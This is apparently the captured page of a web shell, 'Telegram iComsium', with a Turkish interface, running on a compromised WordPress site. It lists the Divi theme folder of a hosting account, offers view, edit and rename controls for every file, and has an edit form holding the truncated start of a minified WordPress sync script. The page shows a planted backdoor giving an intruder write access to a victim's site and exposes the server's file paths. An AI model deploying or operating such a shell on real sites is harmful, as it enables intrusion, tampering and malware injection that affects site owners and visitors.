<b>Telegram iComsium Current root:</b> /home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi <br><b>Current path:</b> /home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi <hr><a href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes">..</a><br /><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/404.php">404.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/404.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/404.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/404.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/CREDITS.md">CREDITS.md</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/CREDITS.md" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/CREDITS.md">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/CREDITS.md">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/LICENSE.md">LICENSE.md</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/LICENSE.md" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/LICENSE.md">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/LICENSE.md">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/README.md">README.md</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/README.md" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/README.md">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/README.md">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/ai-app">ai-app</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/changelog.txt">changelog.txt</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/changelog.txt" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/changelog.txt">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/changelog.txt">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/cloud">cloud</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/comments.php">comments.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/comments.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/comments.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/comments.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/common">common</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/core">core</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/css">css</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/epanel">epanel</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/error_log">error_log</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/error_log" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/error_log">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/error_log">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/et-pagebuilder">et-pagebuilder</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/footer.php">footer.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/footer.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/functions.php">functions.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/functions.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/functions.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/functions.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/header.php">header.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/header.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/header.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/header.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/images">images</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/includes">includes</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/index.php">index.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/index.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/index.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/index.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/js">js</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/lang">lang</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/onboarding">onboarding</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/options_divi.php">options_divi.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/options_divi.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/options_divi.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/options_divi.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page-template-blank.php">page-template-blank.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page-template-blank.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page-template-blank.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page-template-blank.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page.php">page.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/post_thumbnails_divi.php">post_thumbnails_divi.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/post_thumbnails_divi.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/post_thumbnails_divi.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/post_thumbnails_divi.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/psd">psd</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/rtl.css">rtl.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/rtl.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/rtl.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/rtl.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/screenshot.jpg">screenshot.jpg</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/screenshot.jpg" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/screenshot.jpg">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/screenshot.jpg">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar-footer.php">sidebar-footer.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar-footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar-footer.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar-footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar.php">sidebar.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-et_pb_layout.php">single-et_pb_layout.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-et_pb_layout.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-et_pb_layout.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-et_pb_layout.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-project.php">single-project.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-project.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-project.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-project.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single.php">single.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt-rtl.min.css">style-cpt-rtl.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt-rtl.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt-rtl.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt-rtl.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt.min.css">style-cpt.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-rtl.min.css">style-rtl.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-rtl.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-rtl.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-rtl.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt-rtl.min.css">style-static-cpt-rtl.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt-rtl.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt-rtl.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt-rtl.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt.min.css">style-static-cpt.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-rtl.min.css">style-static-rtl.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-rtl.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-rtl.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-rtl.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static.min.css">style-static.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.css">style.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.min.css">style.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-footer.php">theme-after-footer.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-footer.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-header.php">theme-after-header.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-header.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-header.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-header.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-wrappers.php">theme-after-wrappers.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-wrappers.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-wrappers.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-wrappers.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-before-wrappers.php">theme-before-wrappers.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-before-wrappers.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-before-wrappers.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-before-wrappers.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-footer.php">theme-footer.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-footer.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-header.php">theme-header.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-header.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-header.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-header.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme.json">theme.json</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme.json" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme.json">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme.json">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/wpml-config.xml">wpml-config.xml</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/wpml-config.xml" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/wpml-config.xml">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/wpml-config.xml">[Yeniden Adlandır]</a><br><hr><h3>Dosya Düzenle: sync.min.js</h3>
        <form method="POST">
            <textarea name="content" style="width:100%;height:300px;">&quot;use strict&quot;;var wp;(wp||={}).sync=(()=&gt;{var Cc=Object.create;var Sn=Object.defineProperty;var Dc=Object.getOwnPropertyDescriptor;var Ac=Object.getOwnPropertyNames;var Uc=Object.getPrototypeOf,Ic=Object.prototype.hasOwnProperty;var xn=(n,t)=&gt;()=&gt;(t||n((t={exports:{}}).exports,t),t.exports),Ps=(n,t)=&gt;{for(var e in t)Sn(n,e,{get:t[e],enumerable:!0})},js=(n,t,e,r)=&gt;{if(t&amp;&amp;typeof t==&quot;object&quot;||typeof t==&quot;function&quot;)for(let s of Ac(t))!Ic.call(n,s)&amp;&amp;s!==e&amp;&amp;Sn(n,s,{get:()=&gt;t[s],enumerable:!(r=Dc(t,s))||r.enumerable});return n};var Yt=(n,t,e)=&gt;(e=n!=null?Cc(Uc(n)):{},js(t||!n||!n.__esModule?Sn(e,&quot;default&quot;,{value:n,enumerable:!0}):e,n)),Tc=n=&gt;js(Sn({},&quot;__esModule&quot;,{value:!0}),n);var Bo=xn((lu,Vo)=&gt;{Vo.exports=window.wp.privateApis});var tr=xn((hu,Go)=&gt;{Go.exports=window.wp.hooks});var Zo=xn((gu,Qo)=&gt;{Qo.exports=window.wp.apiFetch});var Ls=xn((th,Sc)=&gt;{&quot;use strict&quot;;Sc.exports=function n(t,e){if(t===e)return!0;if(t&amp;&amp;e&amp;&amp;typeof t==&quot;object&quot;&amp;&amp;typeof e==&quot;object&quot;){if(t.constructor!==e.constructor)return!1;var r,s,i;if(Array.isArray(t)){if(r=t.length,r!=e.length)return!1;for(s=r;s--!==0;)if(!n(t[s],e[s]))return!1;return!0}if(t instanceof Map&amp;&amp;e instanceof Map){if(t.size!==e.size)return!1;for(s of t.entries())if(!e.has(s[0]))return!1;for(s of t.entries())if(!n(s[1],e.get(s[0])))return!1;return!0}if(t instanceof Set&amp;&amp;e instanceof Set){if(t.size!==e.size)return!1;for(s of t.entries())if(!e.has(s[0]))return!1;return!0}if(ArrayBuffer.isView(t)&amp;&amp;ArrayBuffer.isView(e)){if(r=t.length,r!=e.length)return!1;for(s=r;s--!==0;)if(t[s]!==e[s])return!1;return!0}if(t.constructor===RegExp)return t.source===e.source&amp;&amp;t.flags===e.flags;if(t.valueOf!==Object.prototype.valueOf)return t.valueOf()===e.valueOf();if(t.toString!==Object.prototype.toString)return t.toString()===e.toString();if(i=Object.keys(t),r=i.length,r!==Object.keys(e).length)return!1;for(s=r;s--!==0;)if(!Object.prototype.hasOwnProperty.call(e,i[s]))return!1;for(s=r;s--!==0;){var o=i[s];if(!n(t[o],e[o]))return!1}return!0}return t!==t&amp;&amp;e!==e}});var Ed={};Ps(Ed,{Awareness:()=&gt;Ve,Y:()=&gt;Bt,YJS_VERSION:()=&gt;bd,privateApis:()=&gt;Vs});var Bt={};Ps(Bt,{AbsolutePosition:()=&gt;Rn,AbstractConnector:()=&gt;Br,AbstractStruct:()=&gt;Ne,AbstractType:()=&gt;T,Array:()=&gt;re,ContentAny:()=&gt;Rt,ContentBinary:()=&gt;ce,ContentDeleted:()=&gt;Me,ContentDoc:()=&gt;le,ContentEmbed:()=&gt;_t,ContentFormat:()=&gt;v,ContentJSON:()=&gt;fn,ContentString:()=&gt;lt,ContentType:()=&gt;nt,Doc:()=&gt;mt,GC:()=&gt;G,ID:()=&gt;Et,Item:()=&gt;C,Map:()=&gt;se,PermanentUserData:()=&gt;jr,RelativePosition:()=&gt;Oe,Skip:()=&gt;P,Snapshot:()=&gt;cn,Text:()=&gt;Le,Transaction:()=&gt;Bn,UndoManager:()=&gt;te,UpdateDecoderV1:()=&gt;X,UpdateDecoderV2:()=&gt;J,UpdateEncoderV1:()=&gt;wt,UpdateEncoderV2:()=&gt;Q,XmlElement:()=&gt;oe,XmlFragment:()=&gt;ie,XmlHook:()=&gt;hn,XmlText:()=&gt;Hn,YArrayEvent:()=&gt;Fn,YEvent:()=&gt;ne,YMapEvent:()=&gt;Yn,YTextEvent:()=&gt;zn,YXmlEvent:()=&gt;Gn,applyUpdate:()=&gt;Qr,applyUpdateV2:()=&gt;St,cleanupYTextFormatting:()=&gt;Ao,compareIDs:()=&gt;qt,compareRelativePositions:()=&gt;$l,convertUpdateFormatV1ToV2:()=&gt;fa,convertUpdateFormatV2ToV1:()=&gt;ao,createAbsolutePositionFromRelativePosition:()=&gt;Hl,createDeleteSet:()=&gt;Jn,createDeleteSetFromStructStore:()=&gt;qr,createDocFromSnapshot:()=&gt;Ql,createID:()=&gt;x,createRelativePositionFromJSON:()=&gt;Vl,createRelativePositionFromTypeIndex:()=&gt;Pl,createSnapshot:()=&gt;ss,decodeRelativePosition:()=&gt;zl,decodeSnapshot:()=&gt;ql,decodeSnapshotV2:()=&gt;Wi,decodeStateVector:()=&gt;ts,decodeUpdate:()=&gt;oa,decodeUpdateV2:()=&gt;ro,diffUpdate:()=&gt;da,diffUpdateV2:()=&gt;is,emptySnapshot:()=&gt;Wl,encodeRelativePosition:()=&gt;Fl,encodeSnapshot:()=&gt;Kl,encodeSnapshotV2:()=&gt;qi,encodeStateAsUpdate:()=&gt;Zr,encodeStateAsUpdateV2:()=&gt;Vt,encodeStateVector:()=&gt;ns,encodeStateVectorFromUpdate:()=&gt;ca,encodeStateVectorFromUpdateV2:()=&gt;io,equalDeleteSets:()=&gt;Hi,equalSnapshots:()=&gt;Jl,findIndexSS:()=&gt;et,findRootTypeKey:()=&gt;rs,getItem:()=&gt;Wt,getItemCleanEnd:()=&gt;zr,getItemCleanStart:()=&gt;z,getState:()=&gt;A,getTypeChildren:()=&gt;wa,isDeleted:()=&gt;ae,isParentOf:()=&gt;on,iterateDeletedStructs:()=&gt;Xt,logType:()=&gt;Ml,logUpdate:()=&gt;ia,logUpdateV2:()=&gt;no,mergeDeleteSets:()=&gt;Qt,mergeUpdates:()=&gt;so,mergeUpdatesV2:()=&gt;ee,obfuscateUpdate:()=&gt;ua,obfuscateUpdateV2:()=&gt;ha,parseUpdateMeta:()=&gt;la,parseUpdateMetaV2:()=&gt;oo,readUpdate:()=&gt;vl,readUpdateV2:()=&gt;Xr,relativePositionToJSON:()=&gt;Rl,snapshot:()=&gt;Xl,snapshotContainsUpdate:()=&gt;ta,transact:()=&gt;_,tryGc:()=&gt;ra,typeListToArraySnapshot:()=&gt;ya,typeMapGetAllSnapshot:()=&gt;Eo,typeMapGetSnapshot:()=&gt;ba});var U=()=&gt;new Map,bn=n=&gt;{let t=U();return n.forEach((e,r)=&gt;{t.set(r,e)}),t},N=(n,t,e)=&gt;{let r=n.get(t);return r===void 0&amp;&amp;n.set(t,r=e()),r},Fs=(n,t)=&gt;{let e=[];for(let[r,s]of n)e.push(t(s,r));return e},Ys=(n,t)=&gt;{for(let[e,r]of n)if(t(r,e))return!0;return!1};var dt=()=&gt;new Set;var En=n=&gt;n[n.length-1];var zs=(n,t)=&gt;{for(let 